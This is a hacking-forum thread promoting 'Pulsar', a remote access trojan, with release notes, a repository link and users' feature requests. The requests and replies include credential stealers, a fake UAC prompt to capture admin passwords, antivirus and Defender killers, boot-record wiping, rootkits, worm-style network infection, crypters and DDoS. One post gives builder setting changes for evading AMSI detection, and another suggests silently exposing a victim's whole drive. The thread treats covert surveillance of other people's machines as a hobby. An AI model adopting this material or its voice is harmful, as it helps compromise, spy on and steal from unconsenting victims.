Thread: [Pulsar Premium Edition | Free Open Source | Reset Survival | HVNC](#)

I_H8_KDot - October 4, 2025, 4:20 pm

Hi everyone,

Once again Pulsar get's targeted like crazy but we're back on github with the 1.8.0 update.

<https://github.com/Quasar-Continuation/Poopsar>

Hope you all enjoy.

ServersFxcked - October 4, 2025, 5:26 pm

Here We Go Again

I_H8_KDot - October 4, 2025, 5:48 pm

(Oct 4, 2025 05:26 PM)ServersFxcked Wrote: [\[CITE\]](#) Here We Go Again

Newest version is so fire tho :sob:

starforce - October 9, 2025, 5:05 am

Visual update part of 2.2.1 will be delayed a little bit but here is what's coming instead.

- 1.) clients will be able to be removed from offline clients
- 2.) Fixed main form with clicking and dragging. You can now click off of clients and drag your mouse to multi select.
- 3.) Changed notification center so that now, when you have a notification it puts a number next to it to show you how many unread notifications you have. (In the future I will heavily upgrade the notification center).

Thank you all for your patience. I will see if I can do some visual changes for my win 11 users for 2.2.2

cltrade - October 10, 2025, 11:06 am

Any plans to add email clients password recovery?

MeW11 - October 10, 2025, 12:38 pm

looking through it all its good, room for improvement like more scraping features and maybe code something for encryption.. pulsar crypter.. idk im just thinking

I_H8_KDot - October 10, 2025, 3:54 pm

(Oct 10, 2025 11:06 AM)cltrade Wrote: [\[CITE\]](#) Any plans to add email clients password recovery?

Yes. It will take about 2-3 weeks for everything to be finished because we need to do plugin support first and the mf we have working on plugin support just had fucking eye surgery :sob:

yannafroes84 - October 10, 2025, 7:48 pm

I hope the next version can support multiple languages such as Japanese, Russian, Chinese, and so on.

blackshadowbutt - October 11, 2025, 6:07 am

@I_H8_KDot , i am trying to resolve this error , but no success , the client crashes both on windows 10 and 11 and event viewer shows the following error, i have tried to run the client under lower os compliance as well without any success also some times it runs but most of the time it stuck here . any quick help will be appropriated and btw the RAT is nice.

benio2 - October 11, 2025, 8:56 am

I like the features you've added but nobody has .net 9 installed, unless they're a developer. The idea is to have comparability on almost every machine. This is why .NET 4 is still the best because you can target Windows 7-11

I_H8_KDot - October 11, 2025, 3:57 pm

(Oct 11, 2025 08:56 AM)benio2 Wrote: [\[CITE\]](#) I like the features you've added but nobody has .net 9 installed, unless they're a developer. The idea is to have comparability on almost every machine. This is why .NET 4 is still the best because you can target Windows 7-11

.net core 9 is ONLY for the server and not for the client. The client is still .net framework 4.7.2 which comes standard on windows 10-11.

Fixed in newest. Stupid fucking issue with 32bit bullshit and what seems to be specifically an issue with building on windows 11 but I might be wrong. Fixed though.

hoangdoan - October 13, 2025, 1:19 am

Does the Clone Browser function work? I tried clicking on the last line - and Start Chrome
And I don't really know if it works or not - But it have nothing
I think the clone process need to show on the HVCN screen

Transporter007 - October 13, 2025, 4:02 am

See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

while running the stub.

you're running the client build in the same directory as the server. This makes it so that the client tries to use the .net core dll's which end up crashing the client. Move the client built file to it's own directory or one that doesn't have a bunch of bad dlls.

I could report you for attempting fraud. It's not worth it. Plus, Pulsar's stealer is broken.

benio2 - October 19, 2025, 11:01 pm

I don't have too much time to add on code to this but since you're keeping up with it.

Feature suggestions:

- online keylogger like async rat
- clipboard updater that updates the clients clipboard either with text or a file selected
- offline clipboard logger that saves logs just like the offline keylogger
- sticky note and notepad monitor, you're able to read saved sticky note data, also find a way to grab current win11 notepad tabs and data inside them
- In Remote Execution, add remote shellcode injector using apc/process hollowing and add self injector executing in self process in new thread.
- Add option to print file with default printer in file manager
- Add preview text and images inside file manager without having to download files.
- Print capture/logger, intercepting recent prints
- Try to find things like VOIP or Cameras being hosted in the network, and list their addresses
- Add option to speak in mic, allowing the user to press a button and hold it clicked down, to talk to

the Client. This was actually done in an old version of Quasar 3 or something. (

<https://github.com/quasar/Quasar/issues/556>)

- Add active window monitor and notification just like on Async rat.
- Add file search just like Async.
- Add a universal dll injector
- Add open cd tray in fun options
- Add flip desktop upside down in fun options
- add assembly info cloner and time stomper to file manager, so server can send file info to client and update selected file assembly info on the fly
- Try to have all the code contained within c# in itself without having to call 3rd party libraries. Also don't assume the program is running from Application.Executablepath. It could be getting injected. So when its loaded with an advanced crypter, it has less vectors to get detected. With that being said, if you can create a pure c# crypto miner integrated in a new thread self process, then try to do that too.
- Add turn off/on monitor in fun options
- Add freeze monitor and use that as full screen mode.
- Add fake UAC popup to collect admin credentials(look on github there is something available)
- Disable\enable keyboard in fun options
- Boot Record Killer in fun options
- Device State Monitoring: Tracks if the device is on battery or AC power
- Add injector to Task Manager, right click process and browse file to inject inside that process in a new thread
- Windows Phone Link monitor
- Send and play audio in background in fun options
- Add ddoser (<https://github.com/liorpizman/CyberSquatting>) (<https://github.com/securec0ding/dotnet-denial-of-service>)

Bugs:

- There is a bug with the vnc, when you try to start something and it doesnt work, then all other rat features stop working, except the socket. Seems like a multi-threading issue. Eventually if the vnc resumes working, then the other features work again.
- VNC does not work with Firefox or Google Chrome.
- scroll wheel does not work on vnc.
- Explorer shows up but things are unclickable, such as right click and click an option, or clicking on any item in the taskbar
- Top of the browser/url bar is cut off, i have to readjust the size to see url bar. Also explorer buttons at the top are not there.
- the star next to account type does not star the client like its supposed to, it stays gray
- hovering over a client in the main form listview is blank, and doesnt provide any info from the bubble. would be good to add additional hardware info about the client.

wolaikankan - October 20, 2025, 5:11 am

I hope to add a feature: support folder transfer, as currently only single file downloads are allowed.

DeathPenalty666 - October 20, 2025, 5:45 am

(Oct 20, 2025 05:11 AM)wolaikankan Wrote: [\[CITE\]](#) I hope to add a feature: support folder transfer, as currently only single file downloads are allowed.

you can silently install and run simple web server on the target pc, setup a directory specific folder to share files or the whole C: Drive and you can just open the target shared folder in your browser like http:ta.rg.e.t:1234 and you can access the whole c drive ;)

- Add preview text and images inside file manager without having to download files.
- Print capturelogger, intercepting recent prints
- Try to find things like VOIP or Cameras being hosted in the network, and list their addresses
- Add option to speak in mic, allowing the user to press a button and hold it clicked down, to talk to the Client. This was actually done in an old version of Quasar 3 or something. (<https://github.com/quasar/Quasar/issues/556>)
- Add active window monitor and notification just like on Async rat.
- Add file search just like Async.
- Add a universal dll injector
- Add open cd tray in fun options
- Add flip desktop upside down in fun options
- add assembly info cloner and time stomper to file manager, so server can send file info to client and update selected file assembly info on the fly
- Try to have all the code contained within c# in itself without having to call 3rd party libraries. Also don't assume the program is running from Application.Executablepath. It could be getting injected. So when its loaded with an advanced crypter, it has less vectors to get detected. With that being said, if you can create a pure c# crypto miner integrated in a new thread self process, then try to do that too.
- Add turn off/on monitor in fun options
- Add freeze monitor and use that as full screen mode.
- Add fake UAC popup to collect admin credentials(look on github there is something available)
- Disable\enable keyboard in fun options
- Boot Record Killer in fun options
- Device State Monitoring: Tracks if the device is on battery or AC power
- Add injector to Task Manager, right click process and browse file to inject inside that process in a new thread
- Windows Phone Link monitor
- Send and play audio in background in fun options
- Add ddoser (<https://github.com/liorpizman/CyberSquatting>) (<https://github.com/securec0ding/dotnet-denial-of-service>)

Bugs:

- There is a bug with the vnc, when you try to start something and it doesnt work, then all other rat features stop working, except the socket. Seems like a multi-threading issue. Eventually if the vnc resumes working, then the other features work again.
- VNC does not work with Firefox or Google Chrome.
- scroll wheel does not work on vnc.
- Explorer shows up but things are unclickable, such as right click and click an option, or clicking on any item in the taskbar

-Top of the browser/url bar is cut off, i have to readjust the size to see url bar. Also explorer buttons at the top are not there.

- the star next to account type does not star the client like its supposed to, it stays gray
-hovering over a client in the main form listview is blank, and doesnt provide any info from the bubble. would be good to add additional hardware info about the client.

A lot of the things you listed

- 1.) Online keylogger
- 2.) Speak in MIC
- 3.) Active window notifications

is already in the project and has been added. Many of your ideas I really like though and will look into.

(Oct 20, 2025 05:11 AM)wolaikankan Wrote: [\[CITE\]](#) I hope to add a feature: support folder transfer, as currently only single file downloads are allowed.

you can shrink the folder to a .zip and transfer that.

You mean 2.2.7.

aerohacker - October 22, 2025, 11:22 am

Suggestions

- HRDP - Another Hidden Remote Desktop option
- Pivoting - Scan and infect all Windows devices connected on the same server's network

l0verflow - October 22, 2025, 11:28 am

how I generate the shellcode in builder?

benio2 - October 24, 2025, 12:30 am

In shellcodebuilder.cs

change:

Bypass bypass = Bypass.Continue,

to:

Bypass bypass = Bypass.None,

and change:

Compress compression = Compress.None,

to

Compress compression = Compress.aPLib,

The donut amsi bypass is detected, this allows the user to generate shellcode in small size and allows them to use their own loader for bypasses

tanyadmahoney - October 26, 2025, 6:17 pm

I'm new to this, please i would like to learn how to use the RAT...

I_H8_KDot - October 26, 2025, 10:28 pm

Just changed in newest. Thank you for the suggestion

No problem. But after doing more testing, I realize that the compression you select matters. If my loader is using certain compressions then not all of the donut compressions work. The best thing to do, when building the shellcode, would be to pop up a small Form that allows you to select your donut settings before you build. This way, you can cycle through the donut settings on the Pulsar builder and select the best ones that work with your loader.

Example of mine, but I also need to add the compression selection option, but just so you get a basic idea:

Would you be interested in adding it to pulsar in a pr? If not that's perfectly fine.

ZERO2SIX - October 28, 2025, 2:02 am

your doing a nice job, will take a look at this rat later this week. keep up the good work

joeflower - October 28, 2025, 9:42 am

Pulsar works for me really good, so thx for the good job until now.

Is there time for wishes ?

I miss being able to save streams from webcam and/or desktop, like the good old Babylon or Cybergate used to do.

I_H8_KDot - October 28, 2025, 4:02 pm

How long would the recording be?

joeflower - October 29, 2025, 10:02 am

I guess it depends on whether the recording is local or on the client. I think in terms of minutes, not hours.

I_H8_KDot - October 29, 2025, 8:45 pm

the recording would be done on the server which would make the most sense.

Xploit4333 - November 26, 2025, 8:14 am

Thank You for the sharing

gerg61 - December 17, 2025, 5:59 am

Thank you for all the time & effort you've spent on this project.

I've tested the rat and its working nicely, except the fact that I found some issues.

Critical process will automatically trigger BSOD as soon as the client starts.

Anti-vm/Anti-debug will prevent the build from running even on real PC (No debug tools are installed on real pc, however, as soon as I start it, it automatically closes, while when these features are disabled, it works normally).

Auto-Task part doesn't work at all, it never automatically executes (yes I configured it properly)

Also some very useful features that would be really nice if they are added.

DNS poisoning

Rootkit

Stealer

Windows Defender killer (Fully kill defender without being able to restore it)

Antivirus killer (using driver)

Process killer

Customizable Telegram Message

ARP Spoofing (so it can kill internet on other devices except the PC) or even better forbid specific domains on entire network

asdrta4er - December 21, 2025, 6:10 pm

For some odd reason it doesn't seem to want to connect to my client for some reason.

Tested it out in my vms and other rdps, it just won't connect whenever I run them, but other rats like quasar would work.

Any reason to that?
